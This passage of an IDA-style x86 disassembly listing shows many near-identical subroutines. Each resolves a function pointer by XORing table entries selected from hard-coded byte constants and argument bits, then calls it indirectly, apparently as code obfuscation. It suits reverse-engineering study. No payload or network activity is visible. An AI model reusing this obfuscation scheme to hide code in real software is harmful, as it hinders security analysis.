add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AFACC proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB60o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 18h mov [ebp+var_2C], 7Dh mov [ebp+var_28], 83h mov [ebp+var_24], 3Dh mov [ebp+var_20], 62h mov [ebp+var_1C], 9 mov [ebp+var_18], 58h mov [ebp+var_14], 0DEh mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AFB5D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AFB5D: ; CODE XREF: sub_4AFACC+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AFACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AFBC9 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB64o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 93h mov [ebp+var_2C], 4Eh mov [ebp+var_28], 5Bh mov [ebp+var_24], 0D3h mov [ebp+var_20], 9Dh mov [ebp+var_1C], 9Ch mov [ebp+var_18], 0F2h mov [ebp+var_14], 0CBh mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AFC5A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AFC5A: ; CODE XREF: sub_4AFBC9+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AFBC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AFCC6 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB68o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 32h mov [ebp+var_2C], 0F0h mov [ebp+var_28], 0D9h mov [ebp+var_24], 37h mov [ebp+var_20], 0C6h mov [ebp+var_1C], 0E6h mov [ebp+var_18], 86h mov [ebp+var_14], 0DBh mov [ebp+var_10], 0Ah mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ah and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AFD57 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AFD57: ; CODE XREF: sub_4AFCC6+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AFCC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AFDC3 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB6Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0D1h mov [ebp+var_2C], 0B5h mov [ebp+var_28], 0Ah mov [ebp+var_24], 6Bh mov [ebp+var_20], 57h mov [ebp+var_1C], 4Ch mov [ebp+var_18], 0AFh mov [ebp+var_14], 0ACh mov [ebp+var_10], 0Ah mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ah and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AFE54 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AFE54: ; CODE XREF: sub_4AFDC3+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AFDC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AFEC0 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB70o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Fh mov [ebp+var_2C], 92h mov [ebp+var_28], 0BBh mov [ebp+var_24], 94h mov [ebp+var_20], 5Dh mov [ebp+var_1C], 76h mov [ebp+var_18], 55h mov [ebp+var_14], 0Dh mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AFF51 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AFF51: ; CODE XREF: sub_4AFEC0+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AFEC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AFFBD proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB74o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Ah mov [ebp+var_2C], 0A8h mov [ebp+var_28], 9Fh mov [ebp+var_24], 79h mov [ebp+var_20], 0ECh mov [ebp+var_1C], 0A0h mov [ebp+var_18], 51h mov [ebp+var_14], 88h mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B004D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B004D: ; CODE XREF: sub_4AFFBD+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AFFBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B00B9 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB78o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E6h mov [ebp+var_2C], 10h mov [ebp+var_28], 0DAh mov [ebp+var_24], 68h mov [ebp+var_20], 82h mov [ebp+var_1C], 0A8h mov [ebp+var_18], 94h mov [ebp+var_14], 9Bh mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B014A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B014A: ; CODE XREF: sub_4B00B9+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B00B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B01B6 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB7Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0Bh mov [ebp+var_2C], 0C1h mov [ebp+var_28], 5Ch mov [ebp+var_24], 0CFh mov [ebp+var_20], 23h mov [ebp+var_1C], 0BEh mov [ebp+var_18], 0D5h mov [ebp+var_14], 0D4h mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0247 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0247: ; CODE XREF: sub_4B01B6+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B01B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B02B3 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB80o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 73h mov [ebp+var_2C], 6Bh mov [ebp+var_28], 0Fh mov [ebp+var_24], 0D9h mov [ebp+var_20], 0B3h mov [ebp+var_1C], 0AFh mov [ebp+var_18], 22h mov [ebp+var_14], 0Eh mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0344 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0344: ; CODE XREF: sub_4B02B3+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B02B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B03B0 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB84o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 89h mov [ebp+var_2C], 0BAh mov [ebp+var_28], 0AFh mov [ebp+var_24], 35h mov [ebp+var_20], 0E8h mov [ebp+var_1C], 0B0h mov [ebp+var_18], 5Ah mov [ebp+var_14], 31h mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0441 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0441: ; CODE XREF: sub_4B03B0+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B03B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B04AD proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB88o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 3 mov [ebp+var_2C], 0A9h mov [ebp+var_28], 0D4h mov [ebp+var_24], 0C0h mov [ebp+var_20], 2Fh mov [ebp+var_1C], 4Ah mov [ebp+var_18], 0EEh mov [ebp+var_14], 2Fh mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B053E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B053E: ; CODE XREF: sub_4B04AD+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B04AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B05AA proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB8Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0F0h mov [ebp+var_2C], 61h mov [ebp+var_28], 0F7h mov [ebp+var_24], 37h mov [ebp+var_20], 0CEh mov [ebp+var_1C], 69h mov [ebp+var_18], 8 mov [ebp+var_14], 0DBh mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B063B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B063B: ; CODE XREF: sub_4B05AA+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B05AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B06A7 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB90o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 39h mov [ebp+var_2C], 63h mov [ebp+var_28], 3Ah mov [ebp+var_24], 21h mov [ebp+var_20], 0A8h mov [ebp+var_1C], 7 mov [ebp+var_18], 0DDh mov [ebp+var_14], 0A1h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, 